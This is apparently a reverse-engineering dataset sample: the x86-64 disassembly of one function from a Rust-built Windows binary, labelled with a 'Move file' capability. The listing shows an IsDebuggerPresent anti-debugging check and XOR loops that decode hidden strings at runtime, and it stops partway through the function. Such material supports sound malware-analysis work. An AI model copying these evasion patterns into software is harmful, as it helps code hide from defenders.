Function at 0x4207f5
Capabilities:
Move file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xcd8
movapd xmmword [rsp + 0xcc0], xmm15
movdqa xmmword [rsp + 0xcb0], xmm14
movdqa xmmword [rsp + 0xca0], xmm13
movdqa xmmword [rsp + 0xc90], xmm12
movdqa xmmword [rsp + 0xc80], xmm11
movdqa xmmword [rsp + 0xc70], xmm10
movdqa xmmword [rsp + 0xc60], xmm9
movdqa xmmword [rsp + 0xc50], xmm8
movdqa xmmword [rsp + 0xc40], xmm7
movdqa xmmword [rsp + 0xc30], xmm6
mov r15, rdx
movzx eax, byte [rcx + 0x160]
test eax, eax
mov qword [rsp + 0x60], rcx
je 0x4208b7
cmp eax, 3
jne case.default.0x42089f
mov r12, rcx
lea r13, [rcx + 0x68]
movzx eax, byte [rcx + 0x68]
lea rcx, [0x0042408c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x80], r13
mov rbp, qword [r12]
mov rdi, qword [r12 + 8]
jmp 0x42197e
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0046cb60
cmp byte [rsi + 0x18], 2
mov rdi, qword [rsi]
mov qword [rsp + 0x78], r15
je 0x420986
lea r8, [rsp + 0x500]
mov rsi, qword [r8 + 8]
mov rdx, qword [r8 + 0x10]
and word [r8 + 0x24], 0
and dword [r8 + 0x20], 0
mov qword [r8 + 0x18], 7
and qword [r8], 0
movaps xmm0, xmmword [0x00491050]
movups xmmword [r8 + 8], xmm0
mov rcx, rsi
call fcn.00469fd0
mov rbx, rdx
test rax, rax
je 0x42094a
mov qword [rsp + 0xd0], rbx
mov byte [rsp + 0xe8], 2
jmp 0x420978
mov rsi, qword [r12 + 0x70]
mov rdi, qword [r12 + 0x78]
jmp 0x4225ea
lea rcx, [rsp + 0xd0]
mov rdx, rbx
call fcn.0046d020
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
mov rbx, qword [rsp + 0xd0]
cmp byte [rsp + 0xe8], 2
jne 0x421e93
mov rcx, rdi
mov rdx, rsi
call fcn.0044a8f3
mov rdi, rbx
test rdi, rdi
jne 0x4230fe
call sub.KERNEL32.dll_IsDebuggerPresent
test eax, eax
jne 0x423112
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0046cb60
cmp byte [rsi + 0x18], 2
je 0x423119
mov rbp, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x510]
mov qword [rsp + 0xb0], rcx
call fcn.0047e210
test rax, rax
je 0x423152
mov r14, rax
mov rsi, rdx
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rdi, rax
mov byte [rax], 0xec
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 0xb0
mov al, 1
xor r13d, r13d
lea r12, str.win_src_main.rs
test al, 1
je 0x420a55
mov edx, 1
mov rcx, rdi
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r15
mov r8, r13
mov r9, r12
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x420a20
mov qword [rsp + 0xa8], rbp
mov eax, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], r15
mov qword [rdx + 0x10], rax
lea r15, [rsp + 0x500]
mov rcx, r15
call fcn.00407601
lea r12, [rsp + 0x260]
mov rcx, r12
mov rdx, r15
call fcn.00406dae
mov ecx, 1
mov rdx, rdi
call fcn.00427458
mov rax, qword [r12 + 8]
mov qword [rsp + 0x70], rax
mov rbp, qword [r12 + 0x10]
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 7
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r12, rax
mov byte [rax], 0x28
mov al, 1
xor r13d, r13d
lea rdi, str.win_src_main.rs
test al, 1
je 0x420b1f
mov edx, 1
mov rcx, r15
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r12
mov r8, r13
mov r9, rdi
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x420aea
mov edi, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rdi
mov qword [rdx + 8], r12
mov qword [rdx + 0x10], rdi
lea r12, [rsp + 0x500]
mov rcx, r12
call fcn.00407601
lea r13, [rsp + 0xd0]
mov rcx, r13
mov rdx, r12
call fcn.00406dae
mov ecx, 1
mov rdx, r15
call fcn.00427458
mov r12, qword [r13 + 8]
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbp
lea r15, [rsp + 0x500]
mov rcx, r15
mov rdx, r14
mov r8, rsi
mov r9, qword [rsp + 0x70]
call fcn.004072e8
mov r14, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
mov r13, rax
test rax, rax
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0x68], r14
je 0x420e1e
setns al
mov rbx, qword [rsp + 0x60]
js 0x423180
movzx esi, al
mov r15, r13
mov rcx, r13
mov rdx, rsi
call fcn.004242f0
test rax, rax
je 0x423187
mov rdi, rax
xor esi, esi
cmp r15, 0x10
jb 0x420e25
movabs rax, 0x8080808080808080
movaps xmm0, xmmword [0x00491060]
movdqa xmm2, xmmword [0x00491080]
movdqa xmm3, xmmword [0x00491090]
movdqa xmm4, xmmword [0x004910a0]
movdqa xmm5, xmmword [0x004910b0]
movdqa xmm6, xmmword [0x004910c0]
movdqa xmm7, xmmword [0x004910d0]
movdqa xmm8, xmmword [0x004910e0]
movdqa xmm9, xmmword [0x004910f0]
movdqu xmm10, xmmword [r14 + rsi]
pshufd xmm13, xmm10, 0xee
movdqa xmm11, xmm13
por xmm11, xmm10
movq rcx, xmm11
test rcx, rax
jne 0x420e25
movq rcx, xmm10
movdqa xmm12, xmm10
psrlq xmm12, 0x20
movdqa xmm11, xmm13
psrlq xmm11, 0x18
shufps xmm11, xmm12, 0xe4
movdqa xmm12, xmm10
psrlq xmm12, 0x30
movdqa xmm14, xmm13
psrlq xmm14, 0x28
shufps xmm14, xmm12, 0xe4
andps xmm14, xmm0
andps xmm11, xmm0
packuswb xmm11, xmm14
movdqa xmm12, xmm10
psrlq xmm12, 0x10
psrlq xmm13, 8
shufps xmm13, xmm12, 0xe4
shr rcx, 0x38
movd xmm12, ecx
shufps xmm12, xmm10, 0xe4
andps xmm13, xmm0
andps xmm12, xmm0
packuswb xmm12, xmm13
movdqa xmm14, xmm10
psrlq xmm14, 0x18
pshufd xmm1, xmm10, 0x44
movdqa xmm13, xmm1
psrlq xmm13, 0x20
movsd xmm13, xmm14
movdqa xmm14, xmm10
psrlq xmm14, 0x28
movdqa xmm15, xmm1
psrlq xmm15, 0x30
movsd xmm15, xmm14
andpd xmm15, xmm0
andpd xmm13, xmm0
packuswb xmm13, xmm15
movdqa xmm14, xmm10
psrlq xmm14, 8
psrlq xmm1, 0x10
movsd xmm1, xmm14
shufps xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xe8
punpcklbw xmm1, xmm1
pshuflw xmm1, xmm1, 0xe8
pand xmm1, xmmword [0x00491070]
movdqa xmm14, xmm10
pand xmm14, xmm2
por xmm14, xmm1
movdqa xmm1, xmm3
pandn xmm1, xmm14
packuswb xmm12, xmm12
packuswb xmm12, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
psllq xmm13, 0x18
pand xmm13, xmm3
por xmm1, xmm13
pslldq xmm12, 7
movdqa xmm13, xmm4
pandn xmm13, xmm12
pand xmm1, xmm4
por xmm1, xmm13
packuswb xmm11, xmm11
packuswb xmm11, xmm11
pand xmm1, xmm5
pslldq xmm11, 0xb
por xmm11, xmm1
pand xmm11, xmm6
movdqa xmm1, xmm6
pandn xmm1, xmm10
por xmm1, xmm11
movdqa xmm10, xmm1
paddb xmm10, xmm7
movdqa xmm11, xmm10
pminub xmm11, xmm8
pcmpeqb xmm11, xmm10
pand xmm11, xmm9
por xmm11, xmm1
movdqu xmmword [rdi + rsi], xmm11
lea rcx, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rcx
jbe 0x420c44
mov rsi, rcx
jmp 0x420e25
xor esi, esi
mov rbx, qword [rsp + 0x60]
mov rax, r13
mov qword [rbx + 0x130], r13
mov qword [rbx + 0x138], rdi
mov qword [rbx + 0x140], rsi
sub rax, rsi
mov qword [rsp + 0x58], rax
jne 0x4211d3
lea rsi, [rsp + 0x500]
mov rcx, qword [rsi]
mov rdx, qword [rsp + 0x68]
call fcn.00427458
lea rax, [rsp + 0xd0]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0xc0]
call fcn.00427458
lea rax, [rsp + 0x260]
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x70]
call fcn.00427458
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
call fcn.00427458
lea rdx, [0x0048da60]
mov r8d, 0x10
mov rcx, rsi
call fcn.00429850
mov rcx, rsi
call fcn.00406e0f
mov r15, rax
mov r12, rdx
xor ecx, ecx
mov esi, 0x5061e9da
lea r13, str.win_src_main.rs
cmp esi, 0x9d14bc88
je 0x421036
cmp esi, 0x5061e9da
je 0x420f04
cmp esi, 0x6d1a843e
je 0x421090
cmp esi, 0xb37bd1a2
jne 0x4211cc
jmp 0x42158d
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rbp, rax
mov byte [rax], 0xec
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r14, rax
mov byte [rax], 0xdc
mov al, 1
xor edi, edi
test al, 1
je 0x420f66
mov edx, 1
mov rcx, rbp
mov r8, rdi
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r14
mov r8, rdi
mov r9, r13
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov edi, 1
jmp 0x420f32
mov eax, 1
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], r14
mov qword [rsp + 0x270], rax
lea rdi, [rsp + 0x500]
mov rcx, rdi
lea rdx, [rsp + 0x260]
call fcn.00407601
lea rcx, [rsp + 0x3d0]
mov rdx, rdi
call fcn.00406dae
mov ecx, 1
mov rdx, rbp
call fcn.00427458
mov rbp, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xd0]
mov rdx, r15
mov r8, r12
mov r9, rbp
call fcn.00470410
mov r14, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rdi
mov rdx, r14
call fcn.004035f4
cmp dword [rsp + 0x500], 2
je 0x421721
mov rcx, qword [rsp + 0xd0]
mov rdx, r14
call fcn.00427458
mov rcx, qword [rsp + 0x3d0]
mov rdx, rbp
call fcn.00427458
mov ecx, 0x3d7b6de4
jmp 0x4211cc
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x140]
cmp r9, r12
jb 0x42174e
mov rax, qword [rsp + 0x60]
mov r8, qword [rax + 0x138]
lea rax, [0x004919d0]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, r12
call fcn.00401b1e
mov r9, rdx
mov rcx, r15
mov rdx, r12
mov r8, rax
call fcn.0042762c
mov ecx, 0x2e6f6d2a
test al, al
jne 0x4211cc
jmp 0x42174e
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov rbp, rax
mov byte [rax], 0xd4
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r14, rax
mov byte [rax], 0xe4
mov al, 1
xor edi, edi
test al, 1
je 0x4210f2
mov edx, 1
mov rcx, rbp
mov r8, rdi
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r14
mov r8, rdi
mov r9, r13
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov edi, 1
jmp 0x4210be
mov eax, 1
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], rax
lea rbx, [rsp + 0x500]
mov rcx, rbx
lea rdi, [rsp + 0xd0]
mov rdx, rdi
call fcn.00407601
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.00406dae
mov ecx, 1
mov rdx, rbp
call fcn.00427458
mov r14, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r15
mov r8, r12
mov r9, r14
call fcn.00470410
mov rdi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, rbx
mov rdx, rdi
call fcn.004035f4
cmp dword [rsp + 0x500], 2
je 0x42308a
mov rbx, qword [rsp + 0x528]
mov rcx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.00427458
mov rcx, qword [rsp + 0x260]
mov rdx, r14
call fcn.00427458
mov ecx, 0xf00e38b6
test rbx, rbx
je 0x42174e
xor esi, ecx
jmp 0x420ed3
mov rbx, r13
mov rax, qword [rsp + 0x60]
add rax, 0x130
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x68]
add rsi, rax
add rbx, rax
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x80], rax
lea r12, [0x00495878]
xor r15d, r15d
mov r14, rsi
movzx edx, byte [r14]
test dl, dl
js 0x42121b
lea rbp, [r14 + 1]
jmp 0x421282
mov eax, edx
and eax, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x421269
movzx ecx, byte [r14 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x421277
movzx edx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x420e4b
lea rbp, [r14 + 4]
jmp 0x421282
lea rbp, [r14 + 2]
shl eax, 6
or eax, r8d
mov edx, eax
jmp 0x421282
lea rbp, [r14 + 3]
shl eax, 0xc
or ecx, eax
mov edx, ecx
cmp edx, 0x3a3
je 0x4212b4
cmp edx, 0x110000
je 0x420e4b
cmp edx, 0x80
jae 0x4212cc
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x42142d
test r15, r15
je 0x421329
cmp r15, qword [rsp + 0x58]
jae 0x421323
cmp byte [rsi + r15], 0xbf
jg 0x421329
jmp 0x4230a7
mov eax, 0x57f
xor r8d, r8d
mov ecx, 0x57f
shr rax, 1
add rax, r8
xor r9d, r9d
cmp dword [r12 + rax*8], edx
setne r9b
mov r10d, 0xff
cmovb r9d, r10d
cmp r9b, 1
je 0x421316
movzx r8d, r9b
cmp r8d, 0xff
jne 0x4213f0
inc rax
mov r8, rax
mov rax, rcx
jmp 0x421319
mov rcx, rax
sub rax, r8
ja 0x4212d9
jmp 0x42142d
jne 0x4230a7
lea r13, [rsi + r15]
xor eax, eax
cmp r13, rsi
je 0x421502
movzx edi, byte [r13 - 1]
test dil, dil
js 0x421347
dec r13
jmp 0x4213a0
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x421374
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x42137d
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x421384
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x42138c
add r13, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and edi, 0x3f
or edi, ecx
cmp edi, 0x110000
je 0x421502
test al, al
jne 0x4213b8
mov ecx, edi
call fcn.0042ede0
test al, al
je 0x4213b8
mov edi, 0x110000
xor eax, eax
jmp 0x4213ba
mov al, 1
cmp edi, 0x110000
je 0x42132f
mov ecx, edi
call fcn.0042ef30
test al, al
je 0x421502
mov rdi, r15
add rdi, 2
je 0x421442
cmp rdi, qword [rsp + 0x58]
jae 0x42143c
cmp byte [rsi + rdi], 0xc0
jge 0x421442
jmp 0x423167
mov edx, dword [r12 + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp edx, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne edx, eax
je 0x42142d
mov rcx, qword [rsp + 0x50]
call fcn.004268d0
mov edx, 0x307
mov rcx, qword [rsp + 0x50]
call fcn.004268d0
jmp 0x421554
jne 0x423167
add rdi, rsi
xor eax, eax
cmp rdi, rbx
je 0x42156b
movzx r13d, byte [rdi]
test r13b, r13b
js 0x42145e
inc rdi
jmp 0x4214cd
mov ecx, r13d
and ecx, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x4214b2
movzx edx, byte [rdi + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp r13b, 0xf0
jb 0x4214c1
movzx r13d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r13d, 0x3f
or r13d, edx
or r13d, ecx
cmp r13d, 0x110000
je 0x42156b
add rdi, 4
jmp 0x4214cd
add rdi, 2
shl ecx, 6
or ecx, r8d
mov r13d, ecx
jmp 0x4214cd
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r13d, edx
test al, al
jne 0x4214e7
mov ecx, r13d
call fcn.0042ede0
test al, al
je 0x4214e7
mov r13d, 0x110000
xor eax, eax
jmp 0x4214e9
mov al, 1
cmp r13d, 0x110000
je 0x421447
mov ecx, r13d
call fcn.0042ef30
test al, al
je 0x42156b
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x130]
mov rdx, qword [rcx + 0x140]
sub rax, rdx
mov di, 0x83cf
cmp rax, 2
jae 0x42153e
mov r8d, 2
mov rcx, qword [rsp + 0x50]
call fcn.00425f10
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rcx + 0x140]
mov rax, qword [rcx + 0x138]
mov word [rax + rdx], di
add rdx, 2
mov qword [rcx + 0x140], rdx
sub r15, r14
add r15, rbp
mov r14, rbp
cmp rbp, rbx
jne 0x42120d
jmp 0x420e4b
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x130]
mov rdx, qword [rcx + 0x140]
sub rax, rdx
mov di, 0x82cf
cmp rax, 1
jbe 0x421522
jmp 0x42153e
lea rdx, [0x0048da70]
lea rsi, [rsp + 0x500]
mov r8d, 0xc8
mov rcx, rsi
call fcn.00429850
mov rcx, rsi
call fcn.00406e0f
mov rcx, rax
call fcn.00437798
mov rdi, rax
mov r14, rdx
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r15, rax
mov byte [rax], 0x10
mov ecx, 1
mov edx, 1
call fcn.004075d7
mov r12, rax
mov byte [rax], 0x6c
mov al, 1
xor r13d, r13d
lea rsi, str.win_src_main.rs
test al, 1
je 0x42162b
mov edx, 1
mov rcx, r15
mov r8, r13
call fcn.0041752b
mov bl, byte [rax]
mov edx, 1
mov rcx, r12
mov r8, r13
mov r9, rsi
call fcn.0041787a
xor byte [rax], bl
xor eax, eax
mov r13d, 1
jmp 0x4215f6
mov eax, 1
lea rdx, [rsp + 0xd0]
mov qword [rdx], rax
mov qword [rdx + 8], r12
mov qword [rdx + 0x10], rax
lea r12, [rsp + 0x500]
mov rcx, r12
call fcn.00407601
lea r13, [rsp + 0xd0]
mov rcx, r13
mov rdx, r12
call fcn.00406dae
mov ecx, 1
mov rdx, r15
call fcn.00427458
mov r15, qword [r13 + 8]
mov rax, qword [r13 + 0x10]
lea rcx, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
and qword [rsp + 0x30], 0
lea r12, [rsp + 0xc18]
mov rcx, r12
mov rdx, rdi
mov r8, r14
mov r9, r15
call fcn.004072e8
mov rcx, qword [r13]
mov rdx, r15
call fcn.00427458
mov r14, qword [r12]
mov rax, qword [r12 + 8]
mov qword [rsp + 0x50], rax
mov rax, qword [r12 + 0x10]
test al, 1
jne 0x4231ac
lea rcx, [rsp + 0xd0]
and qword [rcx], 0
mov rdx, qword [rsp + 0x50]
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 2
lea rax, [rsp + 0xba8]
mov dword [rax], 3
mov qword [rcx + 0x20], rax
call fcn.004019a5
test al, 1
jne 0x421758
xor r15d, r15d
mov r12d, 1
xor eax, eax
xor r13d, r13d
jmp 0x421861
lea rcx, [rsp + 0x508]
call fcn.004056d6
mov rcx, qword [rsp + 0xd0]
mov rdx, r14
call fcn.00427458
mov rcx, qword [rsp + 0x3d0]
mov rdx, rbp
call fcn.00427458
mov r12, qword [rsp + 0x60]
jmp 0x423ec0
mov ebp, edx
mov qword [rsp + 0x58], r14
lea r12, [rsp + 0x500]
lea r15, [rsp + 0xd0]
mov rcx, r12
mov rdx, r15
call fcn.00401abf
mov rax, qword [r12]
inc rax
mov rcx, 0xffffffffffffffff
mov rbx, 0xffffffffffffffff
cmove rax, rcx
cmp rax, 9
mov ecx, 8
cmovae rcx, rax
xor edx, edx
call fcn.004270e6
mov r14, rdx
mov byte [rdx], bpl
lea r13, [rsp + 0x3d0]
mov qword [r13], rax
mov qword [r13 + 8], rdx
mov qword [r13 + 0x10], 1
mov rax, qword [r15 + 0x20]
mov qword [r12 + 0x20], rax
movups xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
movdqa xmmword [r12 + 0x10], xmm1
movaps xmmword [r12], xmm0
mov r15d, 1
lea rbp, [rsp + 0x260]
mov rcx, r12
call fcn.004019a5
test al, 1
je 0x421845
mov edi, edx
cmp r15, qword [rsp + 0x3d0]
jne 0x421834
mov rcx, rbp
mov rdx, r12
call fcn.00401abf
mov rdx, qword [rsp + 0x260]
inc rdx
cmove rdx, rbx
mov rcx, r13
call fcn.004274d7
mov r14, qword [rsp + 0x3d8]
mov byte [r14 + r15], dil
inc r15
mov qword [rsp + 0x3e0], r15
jmp 0x4217f2
mov rax, qword [rsp + 0x3d0]
mov r12, qword [rsp + 0x3d8]
mov r13, rax
shr r13, 0x20
mov r14, qword [rsp + 0x58]
mov edi, dword [rsp + 0xba8]
cmp edi, 3
je 0x42189b
mov ebx, dword [rsp + 0xbac]
mov rbp, r14
mov r14, qword [rsp + 0xbb0]
shl r13, 0x20
mov ecx, eax
or rcx, r13
mov rdx, r12
call fcn.00427458
mov r12, r14
mov r14, rbp
mov r13d, ebx
mov eax, edi
mov qword [rsp + 0x58], rax
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.00427458
cmp edi, 3
jne 0x4231c3
mov rcx, r15
mov dl, 1
call fcn.004270e6
mov rsi, rax
mov rdi, rdx
xor r8d, r8d
lea r14, str.win_src_main.rs
cmp r15, r8
je 0x4218f7
lea rbx, [r8 + 1]
mov bpl, byte [r12 + r8]
mov rcx, rdi
mov rdx, r15
mov r9, r14
call fcn.0041787a
xor bpl, 0x81
mov byte [rax], bpl
mov r8, rbx
jmp 0x4218d0
shl r13, 0x20
mov ecx, dword [rsp + 0x58]
or rcx, r13
mov rdx, r12
call fcn.00427458
lea rdx, [rsp + 0x500]
mov qword [rdx], rsi
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], r15
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.0041c7fb
lea rdi, [rsp + 0x500]
mov rcx, rdi
mov rdx, rsi
call fcn.00407601
mov rsi, qword [rsp + 0x60]
lea rcx, [rsi + 0x148]
mov rdx, rdi
call fcn.00406dae
mov rbp, qword [rsi + 0x150]
mov rdi, qword [rsi + 0x158]
mov qword [rsi], rbp
mov qword [rsi + 8], rdi
lea rax, [rsi + 0x68]
mov qword [rsp + 0x80], rax
mov byte [rsi + 0x68], 0
mov r15, qword [rsp + 0x78]
lea r14, [rsp + 0x558]
mov word [r14], 0x101
xor esi, esi
mov byte [r14 + 2], sil
and qword [r14 - 0x58], 0
and qword [r14 - 0x48], 0
and qword [r14 - 0x38], 0
mov byte [r14 - 0x28], 2
and qword [r14 - 0x27], 0
mov qword [r14 - 0x18], 0x5a
and dword [r14 - 0x10], 0
or qword [r14 - 8], 0xffffffffffffffff
mov ecx, pe_nt_image_headers64
mov edx, 8
call fcn.0043583a
mov r13, rax
mov eax, 1
mov qword [r13], rax
mov qword [r13 + 8], rax
mov eax, 0x3b9aca00
mov dword [r13 + 0x18], eax
and qword [r13 + 0x20], 0
mov dword [r13 + 0x28], 0x11e1a300
mov dword [r13 + 0x38], eax
and qword [r13 + 0x40], 0
and qword [r13 + 0x50], 0
mov word [r13 + 0x60], 1
mov byte [r13 + 0x66], sil
and word [r13 + 0x77], 0
mov eax, 1
lock cmpxchg qword [r13], rsi
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rdi
jne 0x421a47
mov rax, qword [r13 + 8]
cmp rax, 1
jne 0x421a8c
mov qword [r13], 1
mov r12, r13
jmp 0x421b52
call fcn.004396d0
mov r12, rax
mov ecx, dword [r13 + 0x18]
mov r10, qword [r13 + 0x10]
mov al, byte [r13 + 0x60]
mov edx, dword [r13 + 0x28]
mov r11, qword [r13 + 0x20]
mov r8d, dword [r13 + 0x38]
mov rsi, qword [r13 + 0x30]
mov bl, byte [r13 + 0x61]
mov edi, dword [r13 + 0x62]
cmp byte [r13 + 0x66], 0
je 0x421ab4
movups xmm0, xmmword [r13 + 0x67]
movaps xmmword [rsp + 0xd0], xmm0
mov r9b, 1
jmp 0x421ab7
call fcn.004396d0
mov r12, rax
lea rdi, [rax + 0x10]
mov rsi, r13
add rsi, 0x10
mov ecx, 0xe
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
call fcn.00405381
jmp 0x421b52
xor r9d, r9d
shl rdi, 8
xor r15d, r15d
test bl, bl
cmovne r15, rdi
movzx edi, bl
or rdi, r15
movzx ebx, word [r13 + 0x77]
movups xmm0, xmmword [r13 + 0x40]
movdqu xmm1, xmmword [r13 + 0x50]
movdqa xmm2, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x260], xmm2
mov qword [r12 + 0x10], r10
mov dword [r12 + 0x18], ecx
mov qword [r12 + 0x20], r11
mov dword [r12 + 0x28], edx
mov qword [r12 + 0x30], rsi
mov dword [r12 + 0x38], r8d
movups xmmword [r12 + 0x40], xmm0
movdqu xmmword [r12 + 0x50], xmm1
mov byte [r12 + 0x60], al
shr r15, 0x20
mov byte [r12 + 0x65], r15b
mov dword [r12 + 0x61], edi
mov byte [r12 + 0x66], r9b
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [r12 + 0x67], xmm0
mov word [r12 + 0x77], bx
lock dec qword [r13]
jne 0x421b52
mov rcx, r13
call fcn.0043970a
mov qword [r12 + 0x30], 0x5a
and dword [r12 + 0x38], 0
mov r13, qword [rsp + 0x500]
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0xa8], rax
mov al, byte [rsp + 0x531]
mov byte [rsp + 0xb0], al
mov bl, byte [rsp + 0x530]
mov al, byte [rsp + 0x537]
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x538]
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x548]
mov dword [rsp + 0xcc], eax
mov rdi, qword [rsp + 0x550]
mov al, byte [r14 + 2]
movzx r15d, byte [rsp + 0x536]
mov esi, dword [rsp + 0x532]
mov rcx, qword [rsp + 0x60]
mov byte [rcx + 0x62], al
movzx eax, word [r14]
mov word [rcx + 0x60], ax
mov rbp, qword [rsp + 0x508]
mov rcx, r13
mov rdx, rbp
call fcn.0043bfb1
mov r8, rax
shl r15, 0x20
or r15, rsi
xor eax, eax
test bl, bl
setne al
cmp bl, 2
mov r14d, 2
cmovne r14d, eax
mov rbx, qword [rsp + 0x518]
mov r9, qword [rsp + 0x528]
test rdi, rdi
je 0x421db8
lea rsi, [fcn.0047dde0]
mov rcx, rsi
mov qword [rsp + 0x250], r8
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], r9
mov rdi, rdx
call fcn.00430a89
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x230], rdx
mov rcx, rsi
call fcn.00430a89
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], rdx
mov rcx, rsi
call fcn.00430a89
mov qword [rsp + 0x218], rax
mov rsi, rdx
mov rcx, r13
mov rdx, rbp
call fcn.0043bfb1
mov r13, rax
mov rbp, rdx
mov ecx, 0xe0
mov edx, 8
call fcn.0043583a
mov rdx, rdi
mov r9, qword [rsp + 0x248]
mov r8, qword [rsp + 0x250]
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
mov byte [rax + 0x18], 0
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], rbp
xorps xmm0, xmm0
movups xmmword [rax + 0x30], xmm0
and qword [rax + 0x40], 0
lea rcx, [0x004a3230]
mov qword [rax + 0x48], rcx
mov r11, qword [rsp + 0x238]
mov qword [rax + 0x50], r11
mov r11, qword [rsp + 0x230]
mov qword [rax + 0x58], r11
movups xmmword [rax + 0x60], xmm0
and qword [rax + 0x70], 0
mov qword [rax + 0x78], rcx
mov r11, qword [rsp + 0x228]
mov qword [rax + 0x80], r11
mov r11, qword [rsp + 0x220]
mov qword [rax + 0x88], r11
movups xmmword [rax + 0x90], xmm0
and qword [rax + 0xa0], 0
